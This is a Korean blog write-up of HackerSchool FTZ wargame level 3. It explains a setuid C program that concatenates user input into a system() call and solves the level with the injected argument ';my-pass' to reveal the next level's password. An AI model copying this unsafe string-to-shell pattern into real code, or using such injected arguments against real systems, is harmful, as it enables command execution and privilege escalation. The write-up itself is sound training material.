id
level3
passwd
can you fly?
ls
cat hint
-------------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
--------------------------------------------------------
소스코드이다.
힌트1 동시에 여러 명령어를 사용하려면?
; 를 사용하여 동시에 여러 명령어를 사용할 수 있다.
힌트 2 문자열 형태로 명령어를 전달하려면?
큰따옴포"" 를 사용한다
작은따옴표''를 사용한다
if( argc!=2){...}
argc 인자값이 2가 아니면 Auto Digger Version 0.9~~를 출력함
strcpy( cmd, "dig @" );
cmd에 "dig @"를 복사
dig는 DNS 정보 확인 명령어
strcat( cmd, argv[1] );
입력한 문자열 (argv[1])을 이어붙임
strcat( cmd, " version.bind chaos txt");
" version.bind chaos txt"를 cmd에 이어붙임
strcpy : 문자열 복사
strcat : 문자열 이어붙이기
system( cmd );
cmd 문자열 실행
"dig @(입력한 문자열) version.bind chaos txt"
즉, 입력한 문자열 부분에서 첫 번째 입력값은 dig 명령어의
파라미터로 들어가게 되므로,
"(dig파라미터);(실행명령어)"
정답은 " ;my-pass "를 입력하여야 한다.
일단
level 4에서 해당 파일이 있는지 찾아보자
find / -user level4 -perm -4300 2>/dev/null
cd /bin
./autodig
큰따옴표또는 작은 따옴표와 ; 를 사용한다.
./autodig ";my-pass"
level4 의 my-pass로 패스워드를 확인하는것
level 4의
suck my brain
이라는 패스워드를 획득했다.
'시스템 해킹' 카테고리의 다른 글
dreamhack wargame -1 (0) | 2024.05.25 |
---|---|
HackerSchool FTZ - 2 (0) | 2024.05.23 |
HackerSchool FTZ - 1 (0) | 2024.05.23 |
HackerSchool FTZ trainning 전체 (0) | 2024.05.23 |
포멧스트링 버그 - 데이터쓰기 (0) | 2024.05.19 |